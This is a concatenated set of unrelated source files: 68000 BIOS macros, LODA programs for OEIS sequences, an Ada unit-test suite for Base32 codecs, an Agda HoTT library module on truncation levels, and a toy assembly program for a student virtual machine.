;-----------------------------------------------------------------------
BIOS_BRMDIR macro
move.w #BRMDIR,d0
jsr _BURAM
endm
;-----------------------------------------------------------------------
; BIOS_BRMVERIFY - Checks data written on Back-Up Ram.
;
; input:
; a0.l pointer to parameter (file name) table
; flag.b $00: normal
; $FF: encoded (with protect function)
; block_size.w $00: 1 block = $40 bytes
; $FF: 1 block = $20 bytes
; a1.l pointer to save data
;
; returns:
; cc Okay
; cs Error
; d0.w Error Number
; -1 : Data does not match
; 0 : File not found
;-----------------------------------------------------------------------
BIOS_BRMVERIFY macro
move.w #BRMVERIFY,d0
jsr _BURAM
endm
|
oeis/213/A213850.asm | neoneye/loda-programs | 11 | 163550 | <gh_stars>10-100
; A213850: Antidiagonal sums of the convolution array A213849.
; Submitted by <NAME>(s3)
; 1,3,10,20,42,70,120,180,275,385,546,728,980,1260,1632,2040,2565,3135,3850,4620,5566,6578,7800,9100,10647,12285,14210,16240,18600,21080,23936,26928,30345,33915,37962,42180,46930,51870,57400,63140,69531,76153,83490,91080,99452,108100,117600,127400,138125,149175,161226,173628,187110,200970,215992,231420,248095,265205,283650,302560,322896,343728,366080,388960,413457,438515,465290,492660,521850,551670,583416,615828,650275,685425,722722,760760,801060,842140,885600,929880,976661,1024303,1074570
add $0,2
mov $1,$0
add $0,1
add $1,$0
pow $0,2
sub $0,1
div $0,4
pow $1,2
div $1,2
mul $1,$0
mov $0,$1
div $0,24
|
oeis/049/A049392.asm | neoneye/loda-programs | 11 | 8900 | ; A049392: Expansion of (1-25*x)^(2/5).
; Submitted by <NAME>
; 1,-10,-75,-1000,-16250,-292500,-5606250,-112125000,-2312578125,-48821093750,-1049653515625,-22901531250000,-505742148437500,-11281940234375000,-253843655273437500,-5753789519531250000,-131258323414306640625,-3011220360681152343750,-69425358315704345703125,-1607745139942626953125000,-37380074503666076660156250,-872201738418875122070312500,-20417449785714576721191406250,-479366212360255279541015625000,-11285079582647676372528076171875,-266327878150485162391662597656250
mul $0,2
mov $1,1
mov $2,2
mov $3,$0
mov $4,5
lpb $3
mul $1,$2
mul $1,$4
sub $3,2
mov $4,$2
sub $5,1
div $1,$5
sub $2,5
sub $4,$2
lpe
mov $0,$1
|
src/tests/bintoasc_suite-base32_tests.adb | jhumphry/Ada_BinToAsc | 0 | 1169 | -- BinToAsc_Suite.Base32_Tests
-- Unit tests for BinToAsc
-- Copyright (c) 2015, <NAME> - see LICENSE file for details
with AUnit.Assertions;
with System.Storage_Elements;
with Ada.Assertions;
with String_To_Storage_Array;
with BinToAsc.Base32;
package body BinToAsc_Suite.Base32_Tests is
use AUnit.Assertions;
use System.Storage_Elements;
use RFC4648;
use type RFC4648.Codec_State;
function STSA (X : String) return Storage_Array
renames String_To_Storage_Array;
--------------------
-- Register_Tests --
--------------------
procedure Register_Tests (T: in out Base32_Test) is
use AUnit.Test_Cases.Registration;
begin
Register_Routine (T, Check_Symmetry'Access,
"Check the Base32 Encoder and Decoder are a symmetrical pair");
Register_Routine (T, Check_Length'Access,
"Check the Encoder and Decoder handle variable-length input successfully");
Register_Routine (T, Check_Symmetry_Hex'Access,
"Check the Base32Hex Encoder and Decoder are a symmetrical pair");
Register_Routine (T, Check_Test_Vectors_To_String'Access,
"Check Base32 test vectors from RFC4648, binary -> string");
Register_Routine (T, Check_Test_Vectors_To_String_Hex'Access,
"Check Base32Hex test vectors from RFC4648, binary -> string");
Register_Routine (T, Check_Test_Vectors_To_Bin'Access,
"Check Base32 test vectors from RFC4648, string -> binary");
Register_Routine (T, Check_Test_Vectors_To_Bin_Hex'Access,
"Check Base32Hex test vectors from RFC4648, string -> binary");
Register_Routine (T, Check_Test_Vectors_Incremental_To_String'Access,
"Check Base32 test vectors from RFC4648, incrementally, binary -> string");
Register_Routine (T, Check_Test_Vectors_Incremental_To_String_Hex'Access,
"Check Base32Hex test vectors from RFC4648, incrementally, binary -> string");
Register_Routine (T, Check_Test_Vectors_Incremental_To_Bin'Access,
"Check Base32 test vectors from RFC4648, incrementally, string -> binary");
Register_Routine (T, Check_Test_Vectors_Incremental_To_Bin_Hex'Access,
"Check Base32Hex test vectors from RFC4648, incrementally, string -> binary");
Register_Routine (T, Check_Test_Vectors_By_Char_To_String'Access,
"Check Base32 test vectors from RFC4648, character-by-character, binary -> string");
Register_Routine (T, Check_Test_Vectors_By_Char_To_String_Hex'Access,
"Check Base32Hex test vectors from RFC4648, character-by-character, binary -> string");
Register_Routine (T, Check_Test_Vectors_By_Char_To_Bin'Access,
"Check Base32 test vectors from RFC4648, character-by-character, string -> binary");
Register_Routine (T, Check_Test_Vectors_By_Char_To_Bin_Hex'Access,
"Check Base32Hex test vectors from RFC4648, character-by-character, string -> binary");
Register_Routine (T, Check_Padding'Access,
"Check correct Base32 padding is enforced");
Register_Routine (T, Check_Junk_Rejection'Access,
"Check Base32 decoder will reject junk input");
Register_Routine (T, Check_Junk_Rejection_By_Char'Access,
"Check Base32 decoder will reject junk input (single character)");
Register_Routine (T, Check_Case_Insensitive'Access,
"Check Base32_Case_Insensitive decoder will accept mixed-case input");
Register_Routine (T, Check_Homoglyph'Access,
"Check Base32 decoder with Homoglpyh_Allowed set tolerates homoglyphs");
end Register_Tests;
----------
-- Name --
----------
function Name (T : Base32_Test) return Test_String is
pragma Unreferenced (T);
begin
return Format ("Tests of Base32 and Base32Hex codecs from RFC4648");
end Name;
------------
-- Set_Up --
------------
procedure Set_Up (T : in out Base32_Test) is
begin
null;
end Set_Up;
-------------------
-- Check_Padding --
-------------------
-- These procedures cannot be nested inside Check_Padding due to access
-- level restrictions
procedure Should_Raise_Exception_Excess_Padding is
Discard : Storage_Array(1..6);
begin
Discard := RFC4648.Base32.To_Bin("MZXW6YTBI=======");
end;
procedure Should_Raise_Exception_Insufficient_Padding is
Discard : Storage_Array(1..6);
begin
Discard := RFC4648.Base32.To_Bin("MZXW6YTBOI=====");
end;
procedure Check_Padding (T : in out Test_Cases.Test_Case'Class) is
pragma Unreferenced (T);
Base32_Decoder : RFC4648.Base32.Base32_To_Bin;
Result_Bin : Storage_Array(1..20);
Result_Length : Storage_Offset;
begin
Assert_Exception(Should_Raise_Exception_Excess_Padding'Access,
"Base32 decoder did not reject excessive padding");
Assert_Exception(Should_Raise_Exception_Insufficient_Padding'Access,
"Base32 decoder did not reject insufficient padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBI=======",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject excessive padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBI======",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => "=",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject excessive padding when presented " &
"as a one-char string after the initial valid input");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBI=====",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => "==",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject excessive padding when presented " &
"as a == after the initial valid but incompletely padded " &
"input");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBI======",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => '=',
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject excessive padding when presented " &
"as a separate character after the initial valid input");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBOI=====",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Complete(Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject inadequate padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YTBOI",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Complete(Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject inadequate padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6Y==",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject impossible length 2 padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6Y=",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => '=',
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject impossible length 2 padding " &
"presented via a character");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZX=====",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject impossible length 5 padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZX====",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => '=',
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject impossible length 5 padding " &
"presented via a character");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YT=BOI=====",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject non-padding characters appearing " &
" after the first padding Character in a single input");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YT=",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => "BOI=====",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject non-padding input presented " &
" after an initial input ended with padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YT=",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => 'B',
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject non-padding input char presented " &
" after an initial input ended with padding");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW6YT",
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => '=',
Output => Result_Bin,
Output_Length => Result_Length);
Base32_Decoder.Process(Input => "BOI",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed or Result_Length /= 0,
"Base32 decoder did not reject non-padding string presented " &
" after a padding char presented on its own");
end Check_Padding;
--------------------------
-- Check_Junk_Rejection --
--------------------------
-- This procedure cannot be nested inside Check_Junk_Rejection due to access
-- level restrictions
procedure Should_Raise_Exception_From_Junk is
Discard : Storage_Array(1..6);
begin
Discard := RFC4648.Base32.To_Bin("MZXW:YTB");
end;
procedure Check_Junk_Rejection (T : in out Test_Cases.Test_Case'Class) is
pragma Unreferenced (T);
Base32_Decoder : RFC4648.Base32.Base32_To_Bin;
Result_Bin : Storage_Array(1..20);
Result_Length : Storage_Offset;
begin
Assert_Exception(Should_Raise_Exception_From_Junk'Access,
"Base32 decoder did not reject junk input.");
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => "MZXW:YTB",
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed,
"Base32 decoder did not reject junk input.");
Assert(Result_Length = 0,
"Base32 decoder rejected junk input but did not return 0 " &
"length output.");
begin
Base32_Decoder.Process(Input => "MZ",
Output => Result_Bin,
Output_Length => Result_Length);
exception
when Ada.Assertions.Assertion_Error =>
null; -- Preconditions (if active) will not allow Process to be run
-- on a codec with state /= Ready.
end;
Assert(Base32_Decoder.State = Failed,
"Base32 decoder reset its state on valid input after junk input.");
Assert(Result_Length = 0,
"Base32 decoder rejected input after a junk input but did " &
"not return 0 length output.");
begin
Base32_Decoder.Complete(Output => Result_Bin,
Output_Length => Result_Length);
exception
when Ada.Assertions.Assertion_Error =>
null; -- Preconditions (if active) will not allow Completed to be run
-- on a codec with state /= Ready.
end;
Assert(Base32_Decoder.State = Failed,
"Base16 decoder allowed successful completion after junk input.");
Assert(Result_Length = 0,
"Base32 decoder completed after a junk input did " &
"not return 0 length output.");
end Check_Junk_Rejection;
----------------------------------
-- Check_Junk_Rejection_By_Char --
----------------------------------
procedure Check_Junk_Rejection_By_Char (T : in out Test_Cases.Test_Case'Class) is
pragma Unreferenced (T);
Base32_Decoder : RFC4648.Base32.Base32_To_Bin;
Result_Bin : Storage_Array(1..20);
Result_Length : Storage_Offset;
begin
Base32_Decoder.Reset;
Base32_Decoder.Process(Input => '@',
Output => Result_Bin,
Output_Length => Result_Length);
Assert(Base32_Decoder.State = Failed,
"Base32 decoder did not reject junk input character.");
Assert(Result_Length = 0,
"Base32 decoder rejected junk input but did not return 0 " &
"length output.");
begin
Base32_Decoder.Process(Input => '6',
Output => Result_Bin,
Output_Length => Result_Length);
exception
when Ada.Assertions.Assertion_Error =>
null; -- Preconditions (if active) will not allow Process to be run
-- on a codec with state /= Ready.
end;
Assert(Base32_Decoder.State = Failed,
"Base32 decoder reset its state on valid input after junk input " &
"character.");
Assert(Result_Length = 0,
"Base32 decoder rejected input after a junk input char but did " &
"not return 0 length output.");
begin
Base32_Decoder.Complete(Output => Result_Bin,
Output_Length => Result_Length);
exception
when Ada.Assertions.Assertion_Error =>
null; -- Preconditions (if active) will not allow Completed to be run
-- on a codec with state /= Ready.
end;
Assert(Base32_Decoder.State = Failed,
"Base32 decoder allowed successful completion after junk input " &
"char.");
Assert(Result_Length = 0,
"Base32 decoder completed after a junk input char did " &
"not return 0 length output.");
end Check_Junk_Rejection_By_Char;
----------------------------
-- Check_Case_Insensitive --
----------------------------
procedure Check_Case_Insensitive (T : in out Test_Cases.Test_Case'Class) is
pragma Unreferenced(T);
Test_Input : constant Storage_Array := STSA("foobar");
Encoded : constant String := "MZXW6YTBOI======";
Encoded_Mixed_Case : constant String := "MZXw6yTBoI======";
Base32_Decoder : RFC4648.Base32.Base32_To_Bin;
Buffer : Storage_Array(1..15);
Buffer_Used : Storage_Offset;
begin
Assert(Test_Input = RFC4648.Base32.To_Bin(Encoded),
"Base32 case-sensitive decoder not working");
Base32_Decoder.Reset;
Base32_Decoder.Process(Encoded_Mixed_Case,
Buffer,
Buffer_Used);
Assert(Base32_Decoder.State = Failed and Buffer_Used = 0,
"Base32 case-sensitive decoder did not reject mixed-case input");
Assert(Test_Input = RFC4648.Base32_Case_Insensitive.To_Bin(Encoded_Mixed_Case),
"Base32 case-insensitive decoder not working");
end Check_Case_Insensitive;
---------------------
-- Check_Homoglyph --
---------------------
procedure Check_Homoglyph (T : in out Test_Cases.Test_Case'Class) is
pragma Unreferenced (T);
package Base32_UC is new
RFC4648.BToA.Base32(Alphabet => Base32_Alphabet,
Padding => '=',
Case_Sensitive => True,
Allow_Homoglyphs => True);
Base32_Alphabet_LC : constant BToA.Alphabet_32 :=
"abcdefghijklmnopqrstuvwxyz234567";
package Base32_LC is new
RFC4648.BToA.Base32(Alphabet => Base32_Alphabet_LC,
Padding => '=',
Case_Sensitive => True,
Allow_Homoglyphs => True);
Binary_Input : Storage_Array(0..255);
Encoded_Data : String(1..416);
Decoded_Data : Storage_Array(0..255);
begin
for I in Binary_Input'Range loop
Binary_Input(I) := Storage_Element(I - Binary_Input'First);
end loop;
Encoded_Data := Base32_UC.To_String(Binary_Input);
Assert((for some I of Encoded_Data => I = 'O') and
(for some I of Encoded_Data => I = 'I'),
"Test data does not contain O or I so upper-case homoglyph test cannot be done");
for I in Encoded_Data'Range loop
case Encoded_Data(I) is
when 'O' =>
Encoded_Data(I) := '0';
when 'I' =>
Encoded_Data(I) := '1';
when others =>
null;
end case;
end loop;
Decoded_Data := Base32_UC.To_Bin(Encoded_Data);
Assert((for all I in Decoded_Data'Range =>
Decoded_Data(I) = Storage_Element(I-Decoded_Data'First)),
"Encoder / Decoder pair does not tolerate upper-case homoglyphs");
Encoded_Data := Base32_LC.To_String(Binary_Input);
Assert((for some I of Encoded_Data => I = 'o') and
(for some I of Encoded_Data => I = 'l'),
"Test data does not contain o or l so lower-case homoglyph test cannot be done");
for I in Encoded_Data'Range loop
case Encoded_Data(I) is
when 'o' =>
Encoded_Data(I) := '0';
when 'l' =>
Encoded_Data(I) := '1';
when others =>
null;
end case;
end loop;
Decoded_Data := Base32_LC.To_Bin(Encoded_Data);
Assert((for all I in Decoded_Data'Range =>
Decoded_Data(I) = Storage_Element(I-Decoded_Data'First)),
"Encoder / Decoder pair does not tolerate lower-case homoglyphs");
end Check_Homoglyph;
end BinToAsc_Suite.Base32_Tests;
|
core/lib/NType.agda | timjb/HoTT-Agda | 0 | 13165 | {-# OPTIONS --without-K --rewriting #-}
open import lib.Base
open import lib.PathGroupoid
open import lib.Relation
module lib.NType where
module _ {i} where
{- Definition of contractible types and truncation levels -}
-- We define `has-level' as a record, so that it does not unfold when
-- applied to (S n), in order for instance arguments to work correctly
-- (idea by <NAME>)
record has-level (n : ℕ₋₂) (A : Type i) : Type i
has-level-aux : ℕ₋₂ → (Type i → Type i)
has-level-aux ⟨-2⟩ A = Σ A (λ x → ((y : A) → x == y))
has-level-aux (S n) A = (x y : A) → has-level n (x == y)
record has-level n A where
-- Agda notices that the record is recursive, so we need to specify that we want eta-equality
inductive
eta-equality
constructor has-level-in
field
has-level-apply : has-level-aux n A
open has-level public
instance
has-level-apply-instance : {A : Type i} {n : ℕ₋₂} {x y : A} {{p : has-level (S n) A}} → has-level n (x == y)
has-level-apply-instance {x = x} {y} {{p}} = has-level-apply p x y
is-contr = has-level -2
is-prop = has-level -1
is-set = has-level 0
contr-center : {A : Type i} (p : is-contr A) → A
contr-center p = fst (has-level-apply p)
contr-path : {A : Type i} (p : is-contr A) (y : A) → contr-center p == y
contr-path p y = snd (has-level-apply p) y
prop-path : {A : Type i} (p : is-prop A) (x y : A) → x == y
prop-path p x y = contr-center (has-level-apply p x y)
{- To be a mere proposition, it is sufficient that all points are equal -}
has-all-paths : Type i → Type i
has-all-paths A = (x y : A) → x == y
abstract
all-paths-is-prop : {A : Type i} → (has-all-paths A → is-prop A)
all-paths-is-prop {A} c = has-level-in (λ x y → has-level-in (c x y , canon-path)) where
canon-path : {x y : A} (p : x == y) → c x y == p
canon-path {.y} {y} idp =
c y y =⟨ lemma (! (c y y)) ⟩
(! (c y y)) ∙ c y y =⟨ !-inv-l (c y y) ⟩
idp =∎ where
lemma : {x y : A} (p : x == y) → c x y == p ∙ c y y
lemma idp = idp
{- Truncation levels are cumulative -}
raise-level : {A : Type i} (n : ℕ₋₂)
→ (has-level n A → has-level (S n) A)
raise-level ⟨-2⟩ q =
all-paths-is-prop (λ x y → ! (contr-path q x) ∙ contr-path q y)
raise-level (S n) q =
has-level-in (λ x y → raise-level n (has-level-apply q x y))
{- Having decidable equality is stronger that being a set -}
has-dec-onesided-eq : {A : Type i} → A → Type i
has-dec-onesided-eq x = ∀ y → Dec (x == y)
has-dec-eq : Type i → Type i
has-dec-eq A = (x : A) → has-dec-onesided-eq x
abstract
-- XXX naming
dec-onesided-eq-is-prop : {A : Type i} (x : A)
→ has-dec-onesided-eq x → (∀ y → is-prop (x == y))
dec-onesided-eq-is-prop {A} x d y = all-paths-is-prop UIP where
T : {y : A} → x == y → Type i
T {y} p with d x | d y
T {y} p | inr _ | _ = Lift ⊥
T {y} p | inl _ | inr _ = Lift ⊥
T {y} p | inl dx | inl dy = ! dx ∙ dy == p
lemma : {y : A} → (p : x == y) → T p
lemma idp with d x
lemma idp | inl r = !-inv-l r
lemma idp | inr r⊥ = lift (r⊥ idp)
UIP : {y : A} (p q : x == y) → p == q
UIP idp q with d x | lemma q
UIP idp q | inl r | s = ! (!-inv-l r) ∙' s
UIP idp q | inr r⊥ | _ = Empty-elim (r⊥ idp)
dec-eq-is-set : {A : Type i} → has-dec-eq A → is-set A
dec-eq-is-set d = has-level-in (λ x y → dec-onesided-eq-is-prop x (d x) y)
{- Relationships between levels -}
module _ {A : Type i} where
abstract
contr-has-all-paths : {{_ : is-contr A}} → has-all-paths A
contr-has-all-paths {{c}} x y = ! (contr-path c x) ∙ contr-path c y
prop-has-all-paths : {{_ : is-prop A}} → has-all-paths A
prop-has-all-paths {{c}} x y = prop-path c x y
inhab-prop-is-contr : A → {{_ : is-prop A}} → is-contr A
inhab-prop-is-contr x₀ {{p}} = has-level-in (x₀ , λ y → prop-path p x₀ y)
inhab-to-contr-is-prop : (A → is-contr A) → is-prop A
inhab-to-contr-is-prop c = all-paths-is-prop $
λ x y → ! (contr-path (c x) x) ∙ contr-path (c x) y
inhab-to-prop-is-prop : (A → is-prop A) → is-prop A
inhab-to-prop-is-prop c = has-level-in (λ x y → has-level-apply (c x) x y)
contr-has-level : {n : ℕ₋₂} → (is-contr A → has-level n A)
contr-has-level {n = ⟨-2⟩} p = p
contr-has-level {n = S n} p = raise-level n (contr-has-level p)
prop-has-level-S : {n : ℕ₋₂} → (is-prop A → has-level (S n) A)
prop-has-level-S {n = ⟨-2⟩} p = p
prop-has-level-S {n = S n} p = raise-level (S n) (prop-has-level-S p)
set-has-level-SS : {n : ℕ₋₂} → (is-set A → has-level (S (S n)) A)
set-has-level-SS {n = ⟨-2⟩} p = p
set-has-level-SS {n = S n} p = raise-level (S (S n)) (set-has-level-SS p)
contr-is-prop : is-contr A → is-prop A
contr-is-prop = contr-has-level
contr-is-set : is-contr A → is-set A
contr-is-set = contr-has-level
prop-is-set : is-prop A → is-set A
prop-is-set = prop-has-level-S
=-preserves-contr : {x y : A} → is-contr A → is-contr (x == y)
=-preserves-contr p = has-level-in (contr-has-all-paths {{p}} _ _ , unique-path) where
unique-path : {u v : A} (q : u == v)
→ contr-has-all-paths {{p}} u v == q
unique-path idp = !-inv-l (contr-path p _)
{- If [A] has level [n], then so does [x == y] for [x y : A] -}
instance
=-preserves-level : {n : ℕ₋₂} {x y : A}
→ has-level n A → has-level n (x == y)
=-preserves-level {⟨-2⟩} = =-preserves-contr
=-preserves-level {S n} {x} {y} p = raise-level n (has-level-apply p x y)
{- The type of paths from a fixed point is contractible -}
instance
pathfrom-is-contr : (x : A) → is-contr (Σ A (λ t → x == t))
pathfrom-is-contr x = has-level-in ((x , idp) , pathfrom-unique-path) where
pathfrom-unique-path : {u : A} (pp : Σ A (λ t → u == t)) → (u , idp) == pp
pathfrom-unique-path (u , idp) = idp
{- The type of paths to a fixed point is contractible -}
instance
pathto-is-contr : (x : A) → is-contr (Σ A (λ t → t == x))
pathto-is-contr x = has-level-in ((x , idp) , pathto-unique-path) where
pathto-unique-path : {u : A} (pp : Σ A (λ t → t == u)) → (u , idp) == pp
pathto-unique-path (u , idp) = idp
{-
If [B] is a fibration over a contractible type [A], then any point in any
fiber of [B] gives a section
-}
contr-has-section : ∀ {j} {A : Type i} {B : A → Type j}
→ (is-contr A → (x : A) → (u : B x) → Π A B)
contr-has-section {B = B} p x₀ y₀ t = transport B (! (contr-path p x₀) ∙ contr-path p t) y₀
{- Subtypes -}
-- TODO: replace them by records, with the second field an instance field
module _ {i} (A : Type i) where
SubtypeProp : ∀ j → Type (lmax i (lsucc j))
SubtypeProp j = Σ (A → Type j) (λ P → ∀ a → is-prop (P a))
module SubtypeProp {i j} {A : Type i} (P : SubtypeProp A j) where
prop = fst P
level = snd P
module _ {i j} {A : Type i} (P : SubtypeProp A j) where
private
module P = SubtypeProp P
Subtype : Type (lmax i j)
Subtype = Σ A P.prop
|
programs/oeis/175/A175829.asm | karttu/loda | 0 | 91371 | <reponame>karttu/loda
; A175829: Partial sums of ceiling(n^2/11).
; 0,1,2,3,5,8,12,17,23,31,41,52,66,82,100,121,145,172,202,235,272,313,357,406,459,516,578,645,717,794,876,964,1058,1157,1263,1375,1493,1618,1750,1889,2035,2188,2349,2518,2694,2879,3072,3273,3483,3702,3930,4167,4413,4669,4935,5210,5496,5792,6098,6415,6743,7082,7432,7793,8166,8551,8947,9356,9777,10210,10656,11115,11587,12072,12570,13082,13608,14147,14701,15269,15851,16448,17060,17687,18329,18986,19659,20348,21052,21773,22510,23263,24033,24820,25624,26445,27283,28139,29013,29904,30814,31742,32688,33653,34637,35640,36662,37703,38764,39845,40945,42066,43207,44368,45550,46753,47977,49222,50488,51776,53086,54417,55771,57147,58545,59966,61410,62877,64367,65880,67417,68978,70562,72171,73804,75461,77143,78850,80582,82339,84121,85929,87763,89622,91508,93420,95358,97323,99315,101334,103380,105453,107554,109683,111839,114024,116237,118478,120748,123047,125375,127732,130118,132534,134980,137455,139961,142497,145063,147660,150288,152947,155637,158358,161111,163896,166712,169561,172442,175355,178301,181280,184292,187337,190415,193527,196673,199852,203066,206314,209596,212913,216265,219652,223074,226531,230024,233553,237117,240718,244355,248028,251738,255485,259269,263090,266948,270844,274778,278749,282759,286807,290893,295018,299182,303385,307627,311908,316229,320590,324990,329431,333912,338433,342995,347598,352242,356927,361653,366421,371231,376082,380976,385912,390890,395911,400975,406082,411232,416425,421662,426943,432267,437636,443049,448506,454008,459555,465147,470784
mov $2,$0
mov $4,$0
lpb $2,1
mov $0,$4
sub $2,1
sub $0,$2
mov $3,$0
mul $3,$0
add $3,10
div $3,11
add $1,$3
lpe
|
Project4/Archive/proj1.asm | orrinjelo/virtual-machine | 0 | 176179 | <gh_stars>0
; FIRST NAME =======================================================
T .BYT 84
y .BYT 121 ; Note: There is no difference between a y and a Y.
l .BYT 108 ; I have designed my assembly to be case insensitive
e .BYT 101 ; and whitespace apathetic. Directives must be de-
r .BYT 114 ; clared at the beginning. Byte directives at the
; moment do not support the single-quote representa-
P .BYT 80 ; tion ('c') and ASCII codes must be used.
a .BYT 97
; r is declared above
k .BYT 107
COM .BYT 44 ; Comma
RET .BYT 10 ; Line carry
SP .BYT 32 ; Space
; LIST A ============================================================
I .INT 1
II .INT 2
III .INT 3
IV .INT 4
V .INT 5
VI .INT 6
; LIST B ============================================================
CCC .INT 300
CL .INT 150
LL .INT 50
XX .INT 20
X .INT 10
; Five is as declared in LIST A
; LIST C ============================================================
D .INT 500
; Two is as declared in LIST A
; Five is as declared in LIST A
; Ten is as declared in LIST B
; START OF PROGRAM ==================================================
; = Printing out my name, yo ========================================
START LDR R3 P
TRP 3 ; Print P
LDR R3 a
TRP 3 ; Print a
LDR R3 r
TRP 3 ; Print r
LDR R3 k
TRP 3 ; Print k
LDR R3 COM
TRP 3 ; Print ,
LDR R3 SP
TRP 3 ; Print SPACE
LDR R3 T
TRP 3 ; Print T
LDR R3 y
TRP 3 ; Print y
LDR R3 l
TRP 3 ; Print l
LDR R3 e
TRP 3 ; Print e
LDR R3 r
TRP 3 ; Print r
LDR R3 RET
TRP 3
TRP 3 ; Prints ENDLINE twice
; = Adding all the elements of LIST B together, yo. =================
LDR R0 CCC
;MOV R3 R0
;TRP 1 ; Expecting 300
; I guess we don't need to show the first value
;LDR R3 SP
;TRP 3
;TRP 3 ; Two Spaces
LDR R1 CL
ADD R0 R1
MOV R3 R0
TRP 1 ; Expecting 450
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R1 LL
ADD R0 R1
MOV R3 R0
TRP 1 ; Expecting 500
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R1 XX
ADD R0 R1
MOV R3 R0
TRP 1 ; Expecting 520
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R1 X
ADD R0 R1
MOV R3 R0
TRP 1 ; Expecting 530
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R1 V
ADD R0 R1
MOV R3 R0
TRP 1 ; Expecting 535
LDR R3 RET
TRP 3
TRP 3 ; Prints ENDLINE twice
; "Hacking" the assembly code may be a real thing the way I implement
; it. Take for instance a register value, R3. If we put an
; immediate value there, LDR will still consider it a register value.
; Not all the instructions are implemented, so I can't experiment
; to see it's most crazy potential. Restricting some of this weird
; ability may come later on once I feel my assembler/vm code is working
; well enough.
; = Multiplying all the elements of LIST A together, yo! ============
; Leaving R0 be, because we'll need it later.
LDR R1 I
;MOV R3 R1
;TRP 1 ; Expecting 1
; I don't think we need to print the first value
;LDR R3 SP
;TRP 3
;TRP 3 ; Two Spaces
LDR R2 II
MUL R1 R2
MOV R3 R1
TRP 1 ; Expecting 2
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R2 III
MUL R1 R2
MOV R3 R1
TRP 1 ; Expecting 6
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R2 IV
MUL R1 R2
MOV R3 R1
TRP 1 ; Expecting 24
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R2 V
MUL R1 R2
MOV R3 R1
TRP 1 ; Expecting 120
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
LDR R2 VI
MUL R1 R2
MOV R3 R1
TRP 1 ; Expecting 720
LDR R3 RET
TRP 3
TRP 3 ; Prints ENDLINE twice
; = Dividing some stuff, yo =========================================
; R0 contains the value we need for this step (should be 535)
; Leaving R1 be, because we'll need it for the next step too.
MOV R3 R0
LDR R4 CCC
DIV R3 R4
TRP 1 ; Expecting 1
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R0
LDR R4 CL
DIV R3 R4
TRP 1 ; Expecting 3
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R0
LDR R4 LL
DIV R3 R4
TRP 1 ; Expecting 10
LDR R3 SP
TRP 3
TRP 3 ; Two Spaces
MOV R3 R0
LDR R4 XX
DIV R3 R4
TRP 1 ; Expecting 26
LDR R3 SP
TRP 3
